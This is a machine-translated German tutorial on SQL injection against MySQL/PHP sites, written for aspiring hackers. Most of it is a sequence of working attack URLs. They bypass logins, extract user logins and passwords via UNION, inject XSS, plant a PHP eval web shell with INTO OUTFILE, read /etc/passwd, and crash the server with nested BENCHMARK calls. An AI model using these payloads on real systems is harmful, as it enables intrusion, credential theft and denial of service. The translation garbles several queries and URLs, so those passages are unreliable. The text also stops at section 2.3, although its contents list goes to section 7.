This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [vollständige FAQ]



  • 0.INTRO
  • 1. SO ERREICHEN SIE SQL-INJEKTIONEN
  • 2. WAS UND WIE KÖNNEN SIE VON DIESEM NUTZEN LERNEN?
  • 3. WAS TUN, WENN KEINE DISPLAYABLE FELDER IST.
  • 4. WAS IST ZU TUN, WENN ETWAS FILTER WÄHLEN.
  • 5. NÜTZLICHE FUNKTIONEN IN MYSQL
  • 6. WIE IST VON SQL-INJEKTION ZU SCHÜTZEN?
  • 7. ADDITIONS


  • 0.INTRO


    Beim Krabbeln im Internet auf der Suche nach mindestens einigen Informationen zur SQL-Injektion sind Sie wahrscheinlich oft auf sehr kurze oder unverständliche Artikel gestoßen oder haben ein Thema behandelt, das natürlich nicht zu Ihnen passt. Einmal habe ich auch Artikel 10–20 zu diesem Thema gesammelt, um die vielen Feinheiten dieser Sicherheitsanfälligkeit zu verstehen. Ich erinnere mich an diese Zeiten und beschloss, eine vollständige FAQ zu diesem Thema zu schreiben, damit der Rest nicht darunter leidet. Und noch eine Bitte. Diejenigen, die herausfanden, dass ich etwas verpasst habe, wo es falsch war usw., schreiben Sie bitte unten, es ist trotzdem schwierig, alles im Kopf zu behalten :) . Dies ist übrigens mein erster Artikel. Bitte werfen Sie keine Tomaten und treten Sie nicht mit den Füßen.

    Es ist nicht der erste Tag, an dem Sie mit Hacking fertig werden. Sie wissen wahrscheinlich, was SQL-Injection ist. Wenn nicht, dann ist dies ein Artikel für Sie. SQL-Injection ist eine weitere einfache Injection , bei der der Angreifer die ursprüngliche Datenbankabfrage so ändert, dass die von ihm benötigte Information bei Ausführung der Abfrage aus der Datenbank abgeleitet wird.

    Um diesen Artikel zu assimilieren, ist Folgendes erforderlich:
    a) Die Anwesenheit von Gehirnen
    b) Gerade Arme
    c) Kenntnisse in SQL

    Grundsätzlich wurde dieser Artikel wie für MYSQL + PHP geschrieben, es gibt jedoch einige Beispiele für MSSQL.

    Meiner Meinung nach ist der beste Weg, um zu lernen, wie man mit der SQL-Injection richtig arbeitet, nicht diesen Artikel zu lesen, sondern eine lebhafte Praxis , zum Beispiel ein verwundbares Skript selbst zu schreiben oder mein am Ende angegebenes zu verwenden.

    Übrigens empfehle ich Ihnen, alles in einer Reihe zu lesen, da jeder Artikel etwas Wichtiges für den nächsten Artikel hat usw.

    1. SO ERREICHEN SIE SQL-INJEKTIONEN

    Es ist ziemlich einfach. Es ist notwendig, in alle Felder, Variablen, doppelte und einfache Anführungszeichen einzufügen.

    1.1 Zweiter zuerst

    Beginnen wir mit diesem Skript

    1 . Angenommen, die ursprüngliche Abfrage an die Datenbank sieht folgendermaßen aus:
    SELECT * FROM news WHERE id=' 1 '; Jetzt fügen wir der "id" -Variable ein Anführungszeichen wie folgt hinzu - wenn die Variable nicht gefiltert wird und Fehlermeldungen angezeigt werden, wird etwa Folgendes ausgegeben:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax. Überprüfen Sie die Syntax für Ihr Recht.

    Wie in der Abfrage an die Datenbank gibt es ein zusätzliches Zitat:
    SELECT * FROM news WHERE id=' 1' '; Wenn der Fehlerbericht deaktiviert ist, kann in diesem Fall das Vorhandensein einer solchen Sicherheitsanfälligkeit festgestellt werden (es würde auch nicht schaden, dass es nicht mit Klausel 1.4 verwechselt wird. Wie in derselben Klausel beschrieben): Die Abfrage an die Datenbank wird wie folgt aussehen:
    SELECT * FROM news WHERE id=' 1'; -- '; (Für diejenigen, die sich im Panzer befinden - "-" ist dies das Zeichen für den Beginn des Kommentars. Alles, was danach geschrieben wird, wird verworfen. Ich möchte Sie auch darauf hinweisen, dass danach ein Leerzeichen (Dies ist in der MySQL-Dokumentation geschrieben wird) und übrigens auch angezeigt wird. Daher bleibt die Abfrage für MySQL dieselbe und zeigt dasselbe wie für http: //xxx/news.php? Id = 1
    Der gesamte Punkt 2 befasst sich damit, was mit dieser Sicherheitsanfälligkeit zu tun ist.

    1.2 Zweiter Fall

    SQL hat eine LIKE- Anweisung. Es wird zum Vergleichen von Strings verwendet. Hier ist ein Autorisierungsskript, wenn Sie einen Benutzernamen und ein Kennwort eingeben und nach einer Datenbank wie dieser fragen:
    SELECT * FROM Benutzer, bei denen sich Login wie "Admin" UND Pass wie "123";

    Auch wenn dieses Skript das Zitat filtert, bleibt es anfällig für die Injektion. Anstelle des Kennworts müssen Sie nur "%" eingeben (für den LIKE-Operator stimmt das Zeichen "%" mit einer beliebigen Zeichenfolge überein), und die Abfrage wird angezeigt
    SELECT * FROM Benutzer, bei denen sich Login wie "Admin" UND LIKE "%" übergeben;

    und lassen Sie uns mit dem Login 'Admin' hineingehen. In diesem Fall haben wir die SQL-Injection nicht nur gefunden, sondern auch erfolgreich eingesetzt.

    1.3 Der dritte Fall

    Was ist zu tun, wenn im gleichen Berechtigungsskript keine Angebotsüberprüfung stattfindet? IMHO wäre es zumindest dumm, diese Informationen zur Anzeige von Informationen zu verwenden. Lassen Sie die Abfrage an die Datenbank vom Typ sein:
    SELECT * FROM Benutzer WHERE login = 'Admin' AND pass = '123';

    Leider passt das Passwort '123' nicht :) , aber wir haben im Parameter 'login' eine Injektion gefunden und um uns unter dem Namen 'Admin' registrieren zu können, müssen wir etwas wie dieses Admin anstelle von ' eingeben. '; - das heißt, der Teil mit der Passwortprüfung wird verworfen und wir geben unter dem Spitznamen 'Admin' ein.
    SELECT * FROM Benutzer WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    Und jetzt, was zu tun ist, wenn die Sicherheitsanfälligkeit im Feld "Bestanden" ist. Wir geben in diesem Feld 123 Folgendes ein: 'ODER login =' Admin '; - . Die Anfrage lautet wie folgt:
    SELECT * FROM Benutzer WHERE login = 'Admin' UND pass = '123' ODER login = 'Admin'; - ';

    Das für eine DB wird es absolut unabhängig von einer solchen Anfrage sein:
    SELECT * FROM Benutzer WHERE (login = 'Admin' UND pass = '123') ODER (login = 'Admin');

    Nach diesen Aktionen werden wir zum vollständigen Besitzer des Acca mit dem Anmeldenamen "Admin".

    1.4 Der vierte Fall

    Kehren wir zum Nachrichten-Skript zurück. Aus der SQL-Sprache müssen wir bedenken, dass numerische Parameter nicht in Anführungszeichen gesetzt werden, das heißt, mit einem solchen Aufruf an das Skript http: //xxx/news.php? Id = 1, sieht die Abfrage an die Datenbank folgendermaßen aus:
    SELECT * FROM news WHERE id = 1 ;

    Sie können diese Injektion auch erkennen, indem Sie Anführungszeichen in den 'id' -Parameter einfügen und dann die gleiche Fehlermeldung ausgeben:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax. Überprüfen Sie die Syntax für Ihr Recht.

    Wenn diese Nachricht nicht ausgegeben wird, können Sie verstehen, dass das Anführungszeichen gefiltert wird, und Sie müssen http: //xxx/news.php? Id = 1 bla-bla-bla eingeben
    Die DB versteht dieses bla bla bla nicht und gibt eine Fehlermeldung aus:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax. Überprüfen Sie die Syntax für Ihre richtige Syntax, um sie in der Nähe von '1 bla-bla-bla' zu verwenden.

    Wenn der Fehlerbericht deaktiviert ist, überprüfen wir ihn wie folgt: http: //xxx/news.php? Id = 1; -
    Soll es genauso angezeigt werden wie http: //xxx/news.php? Id = 1

    Nun können Sie mit Schritt 2 fortfahren.

    2. WAS UND WIE KÖNNEN SIE VON DIESEM NUTZEN LERNEN?

    Darüber hinaus wird nur die in Abschnitt 1.1 beschriebene Art der Schwachstelle betrachtet, und es wird nicht schwierig sein, sie für andere zu beheben. :)

    2.1 UNION- Team

    Für den Anfang ist das UNION- Team am nützlichsten (das nicht weiß, dass es zu Google geht ) ...
    Ändern des Aufrufs zum Skript http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . Wir bekommen die Abfrage wie folgt an die Datenbank:
    SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Auswahl der Anzahl der Felder (Methode 1)

    Nicht zu vergessen, dass die Anzahl der Spalten vor UNION und after übereinstimmen muss, wird wahrscheinlich ein Fehler ausgegeben (es sei denn, es gibt eine Spalte in der Newstabelle):

    mysql_query (): Die verwendeten SELECT-Anweisungen haben eine unterschiedliche Anzahl von Spalten

    In diesem Fall müssen wir die Anzahl der Spalten auswählen (damit die Anzahl vor und nach UNION ). Wir machen es so:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Fehler " Die verwendeten SELECT-Anweisungen haben eine unterschiedliche Anzahl von Spalten. "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Wieder ein Fehler.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    Oh! Es wurde genau wie http: //xxx/news.php? Id = 1 angezeigt
    es bedeutet, dass die Anzahl der Felder ausgewählt ist, dh es gibt 6 davon ...


    2.1.1.2 Auswahl der Anzahl der Felder (Methode 2)

    Diese Methode basiert auf der Auswahl der Anzahl der Felder mit GROUP BY . Das ist eine Anfrage dieser Art:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Es wird fehlerfrei angezeigt, wenn die Anzahl der Felder kleiner oder gleich 2 ist.
    Wir stellen eine Anfrage dieses Typs:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Hoppla ... Es ist ein Typfehler aufgetreten.

    mysql_query (): Unbekannte Spalte '10' in 'Gruppenanweisung'

    Die Spalten sind also weniger als 10. Wir teilen 10 durch 2. Und wir stellen eine Anfrage

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Es gibt keinen Fehler, dh die Anzahl der Spalten ist größer oder gleich 5, aber kleiner als 10. Nun nehmen wir den Durchschnittswert zwischen 5 und 10, der wie 7 erhalten wird. Stellen Sie die Abfrage:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh wieder der Fehler ... :(

    mysql_query (): Unbekannte Spalte '7' in 'Gruppenanweisung'

    Der Betrag ist also größer oder gleich 5, aber kleiner als 7. Nun, und dann eine Anfrage stellen

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Es gibt keine Fehler ... Die Anzahl ist also größer oder gleich 6, aber kleiner als 7. Daraus folgt, dass die erforderliche Anzahl von Spalten 6 ist.

    2.1.1.3 Auswahl der Anzahl der Felder (Methode 3)

    Das gleiche Prinzip wie in Abschnitt 2.1.1.2 verwendet nur die ORDER BY- Funktion. Und wenn mehr Felder vorhanden sind, ändert sich der Fehlertext geringfügig.

    mysql_query (): Unbekannte Spalte '10' in 'Auftragsklausel'

    2.1.2 Definition der angezeigten Spalten

    Ich denke, dass für viele von uns genau die gleiche Seite wie http: //xxx/news.php? Id = 1 nicht passt. Wir müssen also sicherstellen, dass bei der ersten Anforderung (vor UNION ) nichts ausgegeben wird. Am einfachsten ist es, die "ID" von "1" in "-1" (oder in "9999999") zu ändern.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Nun sollten wir einige dieser Zahlen auf der Seite sehen. (Da es sich zum Beispiel um ein Nachrichtenskript handelt, wird es im Titel "News" angezeigt, sagen wir 3, "News" -4 usw.). Damit wir einige Informationen erhalten können, müssen wir diese Nummern in der Anwendung durch die Funktionen, die wir benötigen, im Skript ersetzen. Wenn die Nummern nicht an anderer Stelle angezeigt werden, können die übrigen Unterabsätze von Absatz 2.1 übersprungen werden.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    Dieses XSS nur durch eine Anfrage an die Datenbank. Beispiel:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </ script> ', 5,6 - Nun, ich denke, es ist nicht schwer zu verstehen 4 auf der Seite wird durch <script> alert ('SIXSS') </ script> ersetzt und dementsprechend wird sich genau das gleiche XSS herausstellen.

    2.1.4 Spalten- / Tabellennamen

    Wenn Sie die Namen von Tabellen und Spalten in der Datenbank kennen, können Sie dieses Element überspringen
    Wenn Sie nicht wissen ... Es gibt zwei Möglichkeiten.

    2.1.4.1 Namen von Spalten / Tabellen, wenn Sie Zugriff auf INFORMATION_SCHEMA haben und die Version von MYSQL> = 5 ist

    Die Tabelle INFORMATION_SCHEMA.TABLES enthält Informationen zu allen Tabellen in der Datenbank, der Spalte TABLE_NAME-Tabellennamen.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Hier tritt das Problem möglicherweise auf. Da nur die erste Zeile der Datenbankantwort angezeigt wird. Dann müssen wir LIMIT folgendermaßen verwenden :

    Erste Zeile ausgeben:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1.1 -

    Die Ausgabe der zweiten Zeile:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 - usw.

    Nun, wir haben die Users- Tabelle gefunden. Nur dieses ... ähm ... die Spalten wissen es nicht ... Dann hilft uns die Tabelle INFORMATION_SCHEMA.COLUMNS , die Spalte COLUMN_NAME enthält den Namen der Spalte in der Tabelle TABLE_NAME . So rufen wir die Spaltennamen ab.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 2,1 -
    usw.

    Und hier haben wir die Login- Felder gefunden.

    2.1.4.2 Spalten- / Tabellennamen, wenn INFORMATION_SCHEMA nicht verfügbar ist

    Dies ist eine zhopny-Option. :( Hier treten die üblichen Brutoforen in Kraft ... Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM Tabellenname -

    Sie müssen Table_name auswählen, bis die Fehlermeldung des folgenden Typs verschwindet:

    mysql_query (): Die Tabelle ' Tbl_name ' ist nicht vorhanden

    Nun, zu unserem Glück haben wir eingeführt, dass die Benutzer die Fehlermeldung verloren haben, und die Seite wurde so angezeigt, als ob http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - was bedeutet das ? ? Dies bedeutet, dass es eine Users- Tabelle gibt und Sie müssen die Spalten sortieren.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Spaltenname , 5,6 FROM Benutzer -

    Sie müssen Column_Name auswählen, bis die Fehlermeldung des Typs verschwindet:

    mysql_query (): Unbekannte Spalte ' Spaltenname ' 'in der Feldliste '

    Wenn die Fehlermeldung verschwindet, existiert eine solche Spalte.

    Und so haben wir gelernt, dass sich in der Benutzer- Tabelle Login- und Passwortspalten befinden .

    2.1.5 Informationsanzeige

    Zugriff auf das Skript auf diese Weise http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, Login, Passwort, 5,6 FROM Users LIMIT 1.1 - Zeigt den Login und das Passwort des ersten Benutzers aus der Tabelle an Benutzer

    2.2 Mit Dateien arbeiten

    2.2.1 In Datei schreiben

    Es gibt eine interessante SELECT ... INTO OUTFILE- Funktion in MySQL, mit der Sie Informationen in eine Datei schreiben können. Oder eine solche SELECT ... INTO DUMPFILE-Konstruktion ist fast ähnlich und Sie können jede verwenden.

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 IN OUTFILE' 1.txt '; -


    Für sie gibt es einige Einschränkungen.
    • Das Überschreiben von Dateien ist verboten
    • Erfordert FILE-Berechtigungen
    • (!) Verbindliche reelle Anführungszeichen im Dateinamen

    Aber was würde uns davon abhalten, das Internet in Gang zu setzen? Hier zum Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _ GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    Es bleibt nur noch der vollständige Pfad zum Site-Root auf dem Server zu finden und vor 1.php hinzuzufügen. Im Prinzip können Sie einen anderen Fehler im Bericht finden, der den Pfad auf dem Server anzeigt, oder ihn im Stammverzeichnis des Servers belassen und ihn mit einer lokalen Verbindung abrufen. Dies ist jedoch ein anderes Thema.

    2.2.2 Dateien lesen

    Betrachten Sie die Funktion LOAD_FILE

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Für sie gibt es auch einige Einschränkungen.
    • Der vollständige Pfad zur Datei muss angegeben werden.
    • Erfordert FILE-Berechtigungen
    • Die Datei muss sich auf demselben Server befinden.
    • Die Größe dieser Datei muss geringer sein als in max_allowed_packet angegeben
    • Die Datei muss zum Lesen für den Benutzer geöffnet sein, unter dem MySQL ausgeführt wird.

    Wenn die Funktion die Datei nicht lesen kann, gibt sie NULL zurück.

    2.3 DOS-Angriff auf SQL Server

    In den meisten Fällen wird der SQL-Server aufgrund der Tatsache erreicht, dass nichts anderes getan werden kann. Typ konnte die Tabellen / Spalten nicht herausfinden, keine Rechte dafür, keine Rechte usw. Ich bin ehrlich gegen diese Methode aber trotzdem ...

    Näher am Punkt ...
    Die BENCHMARK- Funktion führt dieselbe Aktion mehrmals aus.
    SELECT BENCHMARK (100000, md5 (aktuelle Uhrzeit));

    Das heißt, diese Funktion macht md5 (current_time) 100.000-mal, was auf meinem Computer etwa 0,7 Sekunden dauert ... Es schien so ... Und wenn Sie das eingebettete BENCHMARK versuchen?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (aktuelle Zeit)));

    Um ehrlich zu sein, dauert es sehr lange, ich habe nicht einmal gewartet ... ich musste einen Reset durchführen :) .
    Beispiel Dos in unserem Fall:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (aktuelle Uhrzeit))), 4, 5, 6; -

    Nur 100 Mal, um F5 zu stecken und "der Server fällt in einen schnellen Ausfall"))).